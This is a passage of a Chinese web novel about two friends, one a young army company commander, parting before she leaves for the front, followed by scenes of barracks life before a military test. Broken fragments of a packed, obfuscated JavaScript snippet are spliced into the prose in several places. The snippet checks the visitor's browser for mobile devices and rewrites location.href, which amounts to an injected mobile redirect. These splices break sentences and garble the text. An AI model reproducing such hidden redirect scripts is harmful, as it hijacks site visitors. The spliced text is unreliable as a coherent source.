l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137830|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么觉得?这样说来你支持那个女生了?”陈砚泽问。 “谈不上,我只是能理解。如果未来不能确定,那就最好别在一起。谁知道前线有什么,那个女生的选择很明智,也很体贴。现在分开男生可能痛上一阵也就忘了,但要是自己女朋友真死在前线或者残疾退役,他该如何自处?与其抱着渺茫的希望等候,还不如早早斩断。而且他又能等多久?” “你怎么就知道人家等不了多久。” 洛暮笑了:“他当然等不了多久。到前线后音讯渺茫,等待的日子最为消磨感情。我承认世上也许有那种伟大的情感——不为时间空间所阻隔、永远忠诚且不会消退的感情,但常人很难遇上。“ 洛暮说话的语气很笃定,她似乎早就在心里思考过这些事情,现在只需要说出自己的结论:“最重要的是,分开久了两个人都会改变,朋友长时间不见都会觉得生疏,何况恋人。恋人这个词可是世上最不靠谱的词。” 店主不吭声,她躲到角落里摆弄花束。她没敢说这两个朋友之间的气氛跟昨天那对恋人别无二样,就是那种暴雨要来之前的阴沉。 陈砚泽面无表情地听着,到最后她冷冷一笑:“我现在也觉得男生可怜了。天呐,谁来为他发声,我为他发声好了。没错,我为他发声,我可不会像他那样说到一半就流眼泪。现在我就是那个男生,你是那个女生。洛暮……不,亲爱的莉萨,管她叫什么呢,总之你听好我替那个男生说的话。” 她不等洛暮回答,就噼里啪啦一口气说下去: “最受不了你们这些自以为是的人,只顾自己的感受。你们凭着一厢情愿的想象,兀自把别人的生活安排得明明白白后抽身离去,不交流也不沟通。最后一切都搞砸了,没法挽回了。好,你们就会露出奇怪的表情说‘我难道不是为了你好吗,你为什么不能理解呢’。” “这难道不是为了你好吗,这之中有任何问题吗?亲爱的,你不要无理取闹,好好思考一下,我的决定是正确的。”洛暮不解地说,她不能很好地代入那个女生,但她觉得陈砚泽好像很代入那个男生。 “你是为了我好吗?”陈砚泽忽然大怒。 她果真如自己所说,一滴眼泪都没有掉。陈砚泽的导师当年收她入门时说的就是“刚毅坚强,百折不挠”,他对自己这个学生格外欣赏,认定她会做出惊人的成就。 即使是逻辑学满分的洛暮此刻都要被陈砚泽绕糊涂了,她心想这有什么可激动的:“亲爱的,我觉得哪里都是为了你好,你究竟有什么不能理解的,我可以一条一条列出来论证……” “住口,洛暮,你这个混蛋!”陈砚泽怒吼一声,她转身就冲出了店门。 玻璃门重重落回原地,砰的一声巨响在店内回荡,天花板上店主用绳子穿起来作为装饰的干花战栗着,枯黄的花瓣飘舞着落下,连同它们破碎时溅出的细微粉尘。 店主目瞪口呆地看着这出变故。 洛暮站在抖落一地的干枯花瓣中沉思,她只用了几秒就理清了前因后果。这个女孩抖落肩上的断裂的花蕊,轻声对店主说句抱歉,付过账后就追了出去。 28.凯撒必死于今日(四) 对于洛暮来说,寻找一个未经训练的人实在太简单不过。 她没费多大劲就在街边的一处长椅上找到了陈砚泽,那个女孩仰面靠着椅背,一只手轻轻地搭在脸上,遮住了她的表情。 洛暮不急着走到好友身边,她隔着一条步行街凝视陈砚泽,同时自己也在出神。 她觉得有很多事情要去思考,要去解释,她要费一番口舌,同陈砚泽说清所有的误会。这都是亟待解决的要事,但当洛暮注意到远处渐渐晕染开来的黄昏时,她忽然就懒散了。 傍晚时分整个世界都活过来了。街上已经有了支起摊子的小贩在叫卖,受到诱惑的小孩甩掉母亲从店里跑出来,他们从洛暮身边窜过,绕过这个一动不动的怪人,边奔跑边好奇地回头看她。 黄昏之中,洛暮的脸庞有种神秘的美感。小孩子们疑惑地盯着她,他们是最分得清美丑的群体。但他们无法描述这个女生给他们的感觉,它绝非是某种简单的美丑能够概括的。 那一瞬间他们脑中闪过很多无法理解的意象,譬如某朵他们诞生以前就凋零的玫瑰,譬如一轮正从海底缓慢升起的莹亮天体,在前文明的夜空中它被称作月亮,照耀每个不曾被乌云笼罩的夜晚。海面波光粼粼。 他们尚未开悟的大脑里,这些业已逝去的伟大碎片一闪而过。 小孩大叫着扭头向前跑去,迎面撞上技高一筹挡住去路的母亲,这群小孩发出哀嚎,求饶着耍赖着,最后逃不开被提溜起离去的命运。 筋疲力尽的父亲懒洋洋地跟在他们身后,男人手里大包小包是他们家庭今天的战果。 这是夏日末尾的一个黄昏,洛暮突然意识到了,一个普通人应该拥有的惬意毫无烦恼的黄昏。 因此她才格外惊奇,明明眼前一切都欣欣向荣,可她望着欢乐的人群,心底竟无端生出一种朝不保夕的哀叹,以及眼下无所作为而带来的髀肉复生的自责。 陈砚泽放下手,她看见了站在对面的洛暮,但她没有动作,两人隔着一条街道遥遥相望,默然无语。 洛暮忽然转身走进一家店铺,陈砚泽一惊,站起来下意识想要去追她。可洛暮很快又出来了,她手里拎着两杯果茶,朝这边走来。 陈砚泽在触及洛暮眼神的刹那,又坐回椅子上了。 “喝吗?”洛暮在她身边坐下。 “什么口味?” “你肯定能猜到。” “我猜是葡萄的,你对它一向钟情。” “正是如此。” 她们没再交流,倚着各自那头的扶手喝果茶,气氛沉闷。 过了一会,洛暮率先开口:“砚泽……” “我知道你要来说服我了,而且你最后总能说服我。其实当初你在望渊进修的是洗脑而不是军事吧。” 洛暮摇摇头笑了,陈砚泽咄咄逼人的时候她是一点办法都没有。 这时候陈砚泽低声说:“抱歉小暮,我知道不该这样。但——唉——但我很担心啊,我不能没有你。” “我明白。” “不,你不明白。”陈砚泽放下果茶,转过来直视洛暮的眼睛,“你不明白,且你不在乎。知道我为什么那么失态吗?因为我刚才觉得你好像也会像那个女生一样,哪天突然把我甩了一走了之。” “绝无可能,我们的友谊远比那些感情牢靠得多。” “可我觉得你就是这么想的。你知不知有时候我觉得你藏了太多心事,你思考的很多事情都不会告诉我。” 陈砚泽说着就冷笑起来,“你说不定某天就突然萌生了一个宏伟的计划。假如那计划中没有我的存在,好,你就会不声不响地把我留在身后,不管我是否想要理解你。” 就像洛暮伟大出逃的计划中没有林晖的存在,所以她毫不留情地把他甩在身后,林晖在此前却一无所知。 他被遗忘在紫藤花盛开的晚上了,满园幽香。 洛暮静静地听着,也许陈砚泽真的说对了一部分。可有些事情她又怎么能够轻易诉诸于口,尤其是在她自己都没找到真相的时候。 好在陈砚泽没有继续深究这个话题,她不知道自己差点就让洛暮无言以对,她忙着气势汹汹地表达自己的关心与无措:“我本来就因为这种感觉担惊受怕,而你呢?天呐,你刚刚都在说些什么。‘如果未来不能确定,那就最好别在一起’。你听听这是什么话?” 她越说越激动,丝毫没有察觉出自己竟然开始流泪:“我真愚蠢,我真愚蠢。早知道我说什么都要劝你留在机关的,战场那么危险。小暮,你去了我该怎么办?你万一也突然犯病给我说‘我们之间两清因为我怕我出事你伤心’这种鬼话怎么办?我当初怎么就答应了你这个提议呢?” 洛暮心说这种台词也太过中二了吧,她要说的话肯定更加委婉和唯美:“根本不会有那种事情。不要担心,砚泽。” “我怎么能不担心呢?你们这些军人是把一切都想到了,可我怎么就蠢到这个地步现在才意识到这些事情?”陈砚泽提高音量,刚才店主的话还在她脑海中盘旋。 见鬼了,那就是前线,动不动就抬回死人捡回骨头的前线。 她这下明白最近那个有军官男友的同事怎么总是掉眼泪了,好嘛,说不定走了后就是生离死别,再不掉眼泪难道留着在坟墓前掉吗? 洛暮一直表现出来的镇定让陈砚泽在此前对前线毫无畏惧。突然直面战争的实质后,她发现自己的不惧死亡原来是个谎言是个错觉。 就像很多人天天把死挂在嘴上,给人一种他们立马死掉也毫无遗憾的错觉。结果室内起了火这群人瞬间原形毕露,肾上腺素狂飙闯出四条不同的路逃出生天,生怕在世上少活一秒。 如果洛暮……陈砚泽根本不敢去想这种可能。她这会把矜持啊倨傲啊都抛到九霄云外去了,只管紧紧地抓住好友的胳膊,生怕她下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147053|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒就原地蒸发。 “没关系,砚泽。”洛暮回握她的手,温和地说,“还记得凯撒吗?” “什么?哦,怎么可能不记得。就是那个被戳了三十三个口子死前大喊一声‘原来你也在’的倒霉蛋?你给我讲过,我发现你就是很喜欢这种悲情英雄的故事。”陈砚泽真是言辞如刀。 她言辞如刀后立刻又懊恼起来,用力地握着洛暮的手,好像要拼命感受她的存在一样:“唉,对不起,小暮。我不知道怎么说……我可能太害怕了。要是你……我……我们怎么办啊?” “不要害怕,砚泽。假如我命中注定要改变世界,那必定安然无恙。如果我死了,也只能说明我对于世界无足轻重,不得命运眷顾。” 和陈砚泽相比,洛暮就太过沉着了,她平静地说, “人对于死亡的畏惧是最不可取的,因为它事实上随时都会到来。子弹在射出的那一刻就注定了它的终点,并不为外力所动,死亡同理。如果你相信我,那就不要为我担忧。” “命运,又是命运。一旦涉及到命运这种东西,你就冷静得可怕。要是你相信这种东西,为什么不蒙着眼睛过马路呢?”陈砚泽恨不得把洛暮的手腕给折断了。 “那是犯蠢,不是命运。”洛暮傲然地说,“命运正如凯撒之死。明明有无数双手阻拦他走向死亡,可悲剧还是如期发生。那位英雄有无数机会逃离死亡,他却推开了友人与妻子的手。 这究竟是他本人的骄傲作祟,还是因为他也预感到那避无可避的结局?人们都以为自己曾牢牢握着改变一切机会,但重来一次还会发现生命恰如大浪袭沙,身不由己。我们于是把这种不可抗拒的力量称为命运。” 她抽出一只手,按住陈砚泽颤抖的肩膀,把她紧紧地搂到怀里。以她们身高对比来说这本该是个很违和的动作,但洛暮属于军人的挺拔弥补了这种缺憾。 洛暮低低地在陈砚泽耳边说:“砚泽,我们要相信一切都已注定,唯一能做的无非是在自己的结局到来前活得更坚决些。我只能告诉你,就如凯撒预感到他的死亡,我也预感到我必须做出这样的选择。” 陈砚泽默然不语。 凯撒是前文明的一位君主,遭刺杀而死。传说在那场悲剧到来前异象频发,他的妻子三次在梦中高呼他们杀死了凯撒,巡夜的人看见鬼魂在街上悲号,骑士在云端里列队交战,他们的血洒在圣庙的屋顶。 所有人都劝说凯撒不要参加那场会议,他的妻子跪在地上苦苦哀求,但凯撒还是赴了那场命中注定的盛宴。三十三处刀剑的创口,伟大的君王血流满地。 洛暮很喜欢这个故事,同她说过好几次。她曾动情又无比赞同地念着故事里的台词:死本就是无法避免的结局,因此人们的贪生怕死才格外奇怪。 “非如此不可?”陈砚泽问。 “非如此不可,就如同凯撒必须死于今日。”洛暮坚决地说。 29.凯撒必死于今日(五) 事到如今陈砚泽还能说些什么呢? 她唯有像之前那样坚定地相信洛暮,这次是她率先张开双臂,搂住了洛暮。 她其实觉得自己真的不是那么想哭,但黄昏实在太叫人伤感了,洛暮没说话,只是温柔地拍着她的肩膀。 “什么时候开拔?”良久,陈砚泽问。 “我感觉快了。也许一两个月,也许一个急报明天就走。” “要是还有时间的话,我们必须找机会再见面。” “当然。另外还有一件事。”洛暮想起什么,浅浅地笑了,“砚泽,把你的邮寄地址给我。战时通讯是禁用的,但我可以给你写信,很原始吧。” “那个时候它是不是就该叫作家书?”陈砚泽难得从忘得一干二净的文化课里捡起一个名词。 “是啊,我也没有其他亲人可以寄,紧急联络人上都写着你的名字。” 陈砚泽很满意,她简直是大喜过望了:“真的?怎么不拍给我看看,早该如此了!” “我一直都写的你好吧,所以你的担忧毫无必要……”洛暮一说柔情的话就脸红,她想喝两口果茶缓解接下来的尴尬,但杯子早空了。 洛暮只好盯着陈砚泽裙子上的花纹,陈砚泽似乎预感到洛暮要说点什么,热烈地望着她,这叫洛暮更加无法开口。 终于,她泄气般地说:“你知道吧,我一直觉得我们……情比金坚。我们……我们肯定是不会分开的,你没必要担心……反正就是,没有任何担心的必要。” “我真是爱死你了。”陈砚泽大叫一声,扑上去猛猛地亲了洛暮两口,她似乎一下子就恢复了元气,“有这种动听的话怎么不早说?真可爱,爱死你了,小暮!” “这种话怎么能随便说……我受不了你了。” “这种话就该常常说!如果是我的话,我肯定要每天大喊三声我爱洛暮!” 洛暮象征性地后退一下,然后无所作为地任陈砚泽左亲一口右亲一口。她本想板着脸装作被冒犯的样子,但笑容不受控制地浮现在她的脸上。 “行啦行啦,适可而止啊。我要去取花。”洛暮没什么威慑力地发出警告,她扫了眼手环,现在是六点零二。 陈砚泽立刻注意到她的动作:“是不是要走了?我看看几点……老天,都六点零二了!你不是说七点钟要点名吗?” “今天营长不在,连队里我最大,晚了也没人敢说我。何况我三十分钟就能赶回去。”洛暮对时间很有掌控,她迅速在脑海中规划好接下来要做的事情,随即起身问陈砚泽,“你是在这等我还是一起去拿花?” 陈砚泽扭捏道:“我等你。”刚刚闹那一出,她不好意思回去见花店老板。 “好的,等我八分钟。” 陈砚泽心说这种精确的时间也只有你洛暮才能说出来了,她目送洛暮急匆匆跑远,然后就开始盯着手环上的时间。等到数字跳到六点零九时,陈砚泽抬头一望,果然看到了在不远处冲她招手的洛暮。 她情不自禁地笑起来,连忙噔噔噔跑过去,差点没刹住车栽到洛暮身上。 “这个军事素质可不要说来望渊交换过。”洛暮揶揄道。 “望渊又不只是……”陈砚泽正想反驳,看到洛暮怀中的鲜花后却咦了一声,“我怎么感觉不太对。” “哪里不对了。”洛暮抽出其中的一束递给陈砚泽,“这是给你的。” “哎哟,这么客气。”陈砚泽扬起眉,她接过洛暮递来的花。 这是一枝用牛皮纸包起来的紫色绣球。这种花的花朵很大,仅仅一枝就看起来满满当当的像一个小花束了。 “我让店主随便包了包,反正我们是自己人。你可以直接拿回去插瓶,没有花瓶的话在实验室自己烧一个,我知道你会。” 陈砚泽拿着花在手里转了两圈,很满意的样子:“哪用那么麻烦,我要把它放到工位上,前同事正好留下一个花瓶,这下物尽其用。” 她们抱着花朝大路走去,洛暮要在那里打车回军营。 此刻所有事物都在夕阳中显得很不真切,像是被打匀的蛋黄涂过一样。街上不时有散步的行人向她们投来欣赏的一瞥,不知道是在看正值年华的女孩还是她们怀中美丽的花束。 “我还没问这种花叫什么名字呢?”路上,陈砚泽忍不住问道。 洛暮现在相信陈砚泽只认识玫瑰了,之前她还以为那是一句戏言:“绣球花。” “花如其名。”陈砚泽拍了拍绣球花蓬松的花球,突然想到了什么,“送这个有什么寓意吗?” “没有。我随便拿的。” “真的?” 洛暮避开她的视线,又是那副不屑置辩的样子:“如果真要说的话,绣球的花期很长。它还有一个盆栽的品种叫无尽夏,下次我送你一盆,可以开整个夏天。” “真有浪漫细胞。”陈砚泽绽开微笑。 洛暮轻轻一笑,低头用手环叫车。这个时间段车流拥挤,洛暮计算下时间,干脆加钱叫了辆悬浮车。她这边正忙着操作,却听陈砚泽忽然问道:“小暮,你怕寂寞吗?” 她点击“确认呼叫”的手微微一滞,旋即摁了下去,洛暮神色如常地反问:“怎么问这个?” “没什么,就是莫名其妙想到这个问题。”陈砚泽偏过头打量她的神色。 “不,不怕。”洛暮说。 “真的?”这是陈砚泽第二次问出这句话了。 “真的。”洛暮很肯定地给出答复,她心里也确实没有一点怀疑。 “好吧,我其实想说我怕来着。你走后我肯定会很寂寞的。小暮,我会想你的。”陈砚泽笑了,她把洛暮推上停在路边的悬浮车,这种车果然效率很高,随叫随到。 洛暮趴在车窗上,陈砚泽替她关好车门。她盯着陈砚泽,迟迟没让司机启动。这时候看起来不舍的人反倒是洛暮了,她说:“砚泽,下次见面我要吃烤肉。” “没问题,我会好好寻觅的。”陈砚泽觉得这样子的洛暮非常可爱,且非常少见。 “下一顿我来请。”洛暮说完这句话后,悬浮车启动。 不出意外她将在六点五十分左右走进军营,她只需要五分钟就能换回军装,七点整这个女孩又会站在近百号人面前继续做那个尽职尽责的连长。 陈砚泽目送洛暮离去,只觉得心里空落落的。她的研究所就在附近,陈砚泽慢悠悠地沿着熟悉的路走回去。 二十分钟后,她走进研究所。今天是休息日,但所里总是有几个加班的人在实验室或者工位上忙忙碌碌,这种有人在旁边的感觉让陈砚泽稍微觉得好受一些。 她什么也不想做,整个晚上都坐在桌前发呆。 “小陈,谁送你的花吗,好漂亮。”一个同事路过她工位时问道。 同事说的正是洛暮送的那枝绣球花,它梦幻的颜色和夸张的花型在这间枯燥的办公室显得格外夺目。 “我朋……我妹妹送的。”陈砚泽回答。 “妹妹好用心,她特意挑的吧。”同事俯下身仔细看着绣球,露出赞叹的神色,“绣球的花语好像是家人之间的团聚美满。呀,细看更漂亮了,有个妹妹真好。” 同事跟陈砚泽聊起实验室的八卦,这本是他们研究生活中为数不多的调剂品,但陈砚泽罕见地提不起兴致。 她敷衍地应和着,同时伸手抚摸绣球的花瓣。触感细腻丝滑,浑圆的形状让她很想用力拍拍花朵,看它会不会砰得弹起来。 团聚美满。一听到花语她就知道这绝对洛暮特意挑选的,她甚至都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看得出帖主是个别扭的人,既想和人分享,又害怕真的被人看到。于是一切交给天意和缘分。 那段时间陈砚泽的家里兵荒马乱,爸妈围着闹腾的小儿子团团转,她回去面对幸福忙碌的一家三口几乎找不到自己的位置,全然成了外人。 苦闷至极的陈砚泽在夜晚刷着望渊论坛,偶然瞥到这篇帖子。 她当时就在想这样一个在夜里暗自发狠的人,这样一个立志要变得伟大甚至不惜死在路上的人,心里是有多寂寞啊。一定比有家难回的陈砚泽还寂寞吧。没有犹豫,她掀开被子翻身下床。 她是技术方面的好手,否则也不会申请到望渊交换的名额,定位到一个人对陈砚泽来说不算太困难。她操作大半夜,终于在凌晨从电子库里调出帖主的照片,看到的第一眼她真是又惊又喜。 就在前几天她还同这个女生一起吃过早餐。 她忍不住打开手环,找到备注为洛暮的联系人。这时是凌晨五点,她想了想给对方发去一条消息:洛暮同学你好,请问今天有时间一起吃早饭吗? 发完后,陈砚泽翻翻记录,她们之前的交流几乎是零,毫无参考信息。她有点忐忑,又觉得不够诚恳,于是追加一句:这次我来请客! 天色微亮,陈砚泽紧张地等待对方的回复。中途她又翻出洛暮的证件照看了看。 照片里的女生同她一样是黑发黑眼的东方人长相,面目清秀。她注意到洛暮有种独特的气质,即使隔着照片也让人印象深刻。 她不知道偌大的望渊军校中,还有一个人也为洛暮的这种气质深深吸引。他们都思考了很久,疑惑它究竟意味着什么。 后来陈砚泽终于明白了,那是一种背负巨大秘密的深沉与忧郁。 30.心流初醒(一) 后勤处处长回到房间,她刚从外面约会回来。穿着一件鹅黄色的长裙,腰间系着棕色的细皮带,棕色的卷发特意披在肩头,显得脸更加小巧,脸上精致的妆容还没有卸去。 她凑近镜子,欣赏自己浓密卷翘的假睫毛,这是她新挑选的牌子,看上去效果不错。 有人敲门。顾影自怜被打断的处长顿感不满,她皱起眉头去开门,准备向那个不请自来的客人表达自己的不悦。但她看清门外的人时,顿时笑逐颜开了。 那个年轻的连长捧着一大束黄玫瑰站在门口,笑着问:“没有打扰到你吧?” “怎么会,原来是洛连长。快,进来坐。”她把门拉开,让出路叫洛暮进来。 洛暮走进房间,把鲜花递给她,说:“今天出去逛街,看到黄玫瑰,想起你房间里有花瓶,就自作主张买了。” 处长的眼睛亮了起来,鲜花明显是用心包扎过的,黄玫瑰作为主体,白桔梗、蝴蝶兰等伴花巧妙地在旁边穿插点缀,颜色浪漫细腻,让人看到后心中就泛起温情。包装也很巧妙,它不是传统的花束形状,所有的花朵都装在一个编织精巧的竹篮里,让后勤处处长想起童年时代故事里提着花篮的小仙子。 很多人追求过后勤处处长,但他们的审美都惊人的一致,白色满天星配红玫瑰成为送花标配,处长扔过不少这样的花束。粗制滥造这个词都不足以概括她心中的鄙夷之情。 处长喜悦地接过花束,放在茶几上仔细欣赏,止不住地嘴角上扬:“谢谢洛连长,我很喜欢。” “那就好,它和你今天的衣服也很配,真是太巧了。我看到你第一眼就想说,今天的打扮很漂亮,虽然裙子素净,但配上腰带显得非常雅致,看起来身材修长,很显腰身。”洛暮微笑道。 处长的脸微微泛红,她每次约会前都要精心打扮,可令她失望的是,约会对象往往意识不到她付出了多大努力。他们只会说“真是漂亮!”,却说不出究竟哪里好看,领悟不到处长在微末地方所花费的心思。 她问:“连长注意到我的睫毛了吗?” “当然,衬得眼睛很迷人。上面点缀着蝴蝶,有点像戏剧里的人物,别出心裁。” “就是仿的戏剧人物!你是第一个发现的。”处长欣喜地说。 洛暮笑起来,她心说这都是弗吉尼亚玩剩下的,她耳濡目染自然知道。 她们接下来说的无非是军事测试的事情,处长问:“你们的计划都写好了吗?” “是的,刚刚才和李秋阳连长商讨完,准备明天交给营长审阅签字,然后施行。到时候可能要多跑处长这里几趟了,准备工作有点多。” “当然没问题,有需要随时说就好。李秋阳……他倒是很少见,只记得长得蛮不错。” 你看,长得帅果然有好处。帅哥才能让处长留心,否则团里十几个连长怎么就记住了李秋阳。 洛暮问:“那下次把他叫来?” 处长抿嘴而笑:“不用不用,我只是喜欢看帅哥,但不一定要认识帅哥。三十多岁啦,还没有嫁人,就是想给自己留足欣赏美色的自由。” 原来处长才是万花丛中过片叶不沾身,约会就是为了欣赏美色,不投入感情。这点洛暮深以为然,美色固然值得欣赏,沉溺可就大大不妙。好在有林晖珠玉在前,她在这方面免疫力很高。 她们又寒暄几句,处长端出自己在家烤制的点心。洛暮自然是大快朵颐一番,军事训练消耗大,她不放过任何一个能补充热量的机会。处长对她的表现很满意,厨师就喜欢看食客狼吞虎咽而不是小口矜持。 “以后也要常来啊。”送洛暮离开时她殷切地嘱咐道,今天约会没得到的情绪价值全在晚上被洛暮弥补了,处长觉得接下来几天心情都会很好。 “必须的,点心太美味啦,我一定常来打扰。”正所谓抓住一个女人必须抓住她的胃,洛暮对甜点垂涎三尺,立刻热情回应。 她回去后又为军事测试的事情忙到半夜。 第二天交上报告,周霖果然批准了她和李秋阳的提案,只是象征性地提了几个建议。洛暮和李秋阳也象征性地修改一下,两个连长在应付领导上达成了惊人的默契。 “但愿我们到战场上也能配合得这么好。”洛暮说。 “默契就是在平时培养的,我对战场配合很有信心,不光是我们,还有我们两个连。”李秋阳笑道。 李秋阳的话有几分道理。这段时间因为两个连长关系好,连带他们手下的战士也亲密起来。吃饭时常能看见一连和三连的战士们坐在一起,训练时常有切磋,可谓是亲如一家。 但冯·莱恩的二连依旧游离于整个营之外。洛暮忙于军务无暇社交,自然和冯·莱恩毫无交流。李秋阳与冯·莱恩可能稍微熟一些,也仅仅是同僚之间的点头之交,一起吃饭的次数都屈指可数。 归根结底是冯·莱恩骨子里非常清高,在他眼中和没有贵族爵位的人来往就是屈尊。凭着这点,谁也不愿意与其深交,哪怕是营长周霖都会尽量避着他走。 他给洛暮留下最深刻的印象就是那盏永不熄灭的灯,让喜欢夜跑的洛暮觉得很安心。 这一周很快就在训练与筹备测试中过去了。洛暮把测试的时间定在休息日前,为期两天,这样结束后大家可以一身轻松地去娱乐。 本来它只是个普通的素质检测,但整个营参与进来后难免有了竞争的意思。更何况洛暮还开创性地把军官也纳入到测试范围,第一波上阵的就是他们十几个军官,顿时吸引了所有战士的眼球。 正式开始前三个连之间暗潮涌动,每个士兵都宣称自己的连长或者队长才是最终的胜者。吴肖利充分发挥自己学过经济的优势,将赌局从三连扩张到全营,大家都在押注哪个军官能够脱颖而出。 就在测试的前天晚上,吴肖利等人大张旗鼓地为洛暮送来水果,战士们眼巴巴地看着自己连长,问:“连长你有把握吗?” 洛暮不回答,她先问:“老实交代,你们压的是谁?” “当然还是连长你了!”吴肖利第一个表忠心。 “欺骗上级不会有好下场的,你就算所有人都压一遍我也没有意见。我要听的是实话,吴肖利战士。”洛暮严肃地说。 “绝对没有,我永远都是连长的拥护者。”吴肖利信誓旦旦。 高余说:“我也是!不过连长你怎么知道吴肖利这小子最开始确实是想每个人都压,但后来他良心发现,只压了你是第一名。” “高余?你!”被好友无情出卖的吴肖利顿时气急败坏。 洛暮佯怒道:“好你个吴肖利,居然想着两头下注,不折不扣的投机取巧啊,我昨天才批判过这种行为。” “冤枉啊连长,你怎么能听高余的一面之词,就把我这个大忠臣给打压了。高余是嫉妒你对我的信任,在这里挑拨离间。这种行为也是你昨天才批判过的。我只是喜欢嘴上说说,而且当时是拿到津贴想炫耀一下,行动上我是一马当先地支持你!”吴肖利叫屈。 在场的人都笑了,洛暮也笑道:“好啦,现在相信你忠心耿耿了。” “就是嘛,我这几天为连长可是多方奔走,探听到很多情报。比如说一连的人都普遍支持他们连长李秋阳,李连长我们都很熟,这个就不多说。二连的人看好的是他们的三队奥利弗,据说他的军事素质和战术指挥都很优秀,是个全才。这两人可谓是连长你的心腹大患。”吴肖利一本正经地说。 “连长你知道吗,肖利还召开了内部会议讨论你们的胜率。”高余补充道。 洛暮感兴趣道:“来,让我听听你们的分析。” “首先是射击、越野、格斗这三个基础项目。连长百发百中我们一点都不担心,越野对于你也毫无难度,就是格斗不好说,但我们坚信连长可以的!”吴肖利激动地说。 “是的,我们都是知道连长的变态的。”高余赞同地点头。 “好好好,多谢你们的信任。”洛暮忍不住笑了。 怎么说呢,尽管她对自己也很自信,但被这么多人一起夸赞和信任,居然有点不好意思。 吴肖利又详细分析了其他几个项目,虽然推演过程很复杂,但结论全是四个字:优势在我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154204|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛暮听着,并不点评,只是不停地笑着点头。她心说吴肖利这个情报工作做得真是到位,对双方的优势认知也很有见解,尽管讲述过于浮夸,还真有几分真功夫。 “最后就剩一个战术模拟,这个是专为你们军官设的,我们也很好奇谁会赢。当然,我们肯定看好连长你。”吴肖利说。 “连长身上寄托我们整个连的希望,真的,我们所有人都赌你是最厉害的,平时训练时连长的英勇表现我们都看在眼里。”高余不甘落后连忙跟上。 “你们这都是正儿八经的奸臣啊,光知道说恭维话,但凡定力少一点,都要被你们骗得找不到路。”洛暮幽幽地说。 其他跟来的士兵立刻七嘴八舌地表示连长我们绝对说的都是真话,说话时眼里的光简直能照亮庭院。 吴肖利也痛心疾首地说:“这怎么会呢。英明如连长,是忠臣是奸臣您还分不清吗?” 洛暮真想立刻大笑两声。她这一刻总算理解为什么皇帝都不杀奸臣了,奉承话一听,冷静如她都很有点想飘飘然。这哪是奸臣,这明明就是朕的好爱卿。俗话说忠言逆耳,如今听来,也不甚逆耳! “行啦,少贫嘴。一起把水果分了,明天再见分晓。”洛暮笑道。 送走来访的士兵,李秋阳从他的房间走出来,打趣道:“刚才你这里好热闹啊,洛暮连长。” 洛暮挑眉:“李秋阳连长不会一直在屋里探听我们三连的动静吧。” “你们三连来势汹汹,我自然要做好准备,一点风吹草动都不敢忽视。”李秋阳笑着说。 “太谦虚了。你们的一连的实力才是让我紧张得夜不能寐,生怕落败呢。”洛暮嘴上这么说,脸上的神情倒是很轻松。 有赖于这几天三个连之间的明争暗斗,他们也很有代入感地进入到竞争对手的角色里,称呼彼此时常带上职务。二人都知道对方在开玩笑,里面的调侃意味让他们有时聊着天就笑起来。 “我还真的很好奇你的军事素质,之前没机会亲眼见识,这次可以好好领教一下。”李秋阳说。 “秋阳兄不要太期待了,我就怕你会大跌眼镜。其实我也期待明天的测试,感觉是了解其他人的好机会。”洛暮笑道。 “是的。尤其是二连的军官,我们几乎没有交流,到前线后恐怕会出问题。” “对,我也是这个意思。” “不愧是你,洛少将高瞻远瞩。” “不敢,比不上李少将深谋远虑。” 他们笑了一会,就道过晚安回到各自的房间。 洛暮开始写今天的日记。这是她每天的功课,漏掉也会补上。这段时间太匆忙,她很久没有像曾经那样花整个晚上的时间沉浸在自己的世界里。 接下来的两天是军事测试,她不用备课,要操劳的也都告一段落。今夜留给洛暮的空闲时间格外长,所以她的日记写得也格外长。 刚才吴肖利说到津贴,洛暮前两天也领到了第一笔工资。工资是按照她连长的身份发的,金额不菲,赚到人生第一桶金的她立刻给陈砚泽发去红包庆祝。 她把那天的情形详细地写到日记里,修辞非常刁钻。洛暮在写日记时从不吝啬讽刺与戏谑的口吻,这样有助于她把场景写得更加活灵活现。 于是后世历史学家在研究洛暮元帅的日记时就会得知,元帅领到第一份工资的晚上整个人飘飘欲仙,在房间里隔着手环屏幕与陈砚泽院长视频,她们听到工资数额的刹那不约而同地大笑起来。 人们都非常惊奇,原来这两个在未来左右了人类历史进程的女孩,名字全都在史书上熠熠生辉的英雄人物,她们年轻时居然会为了一万出头的工资弹冠相庆,像是两只偷到过冬粮的大地鼠。 洛暮合上日记,把钢笔放进抽屉。母亲曾教导她入睡前最好回忆一遍今天学过的知识,有利于记忆。当年洛暮一般想着想着就睡着了,回忆的知识点绝不超过三个。 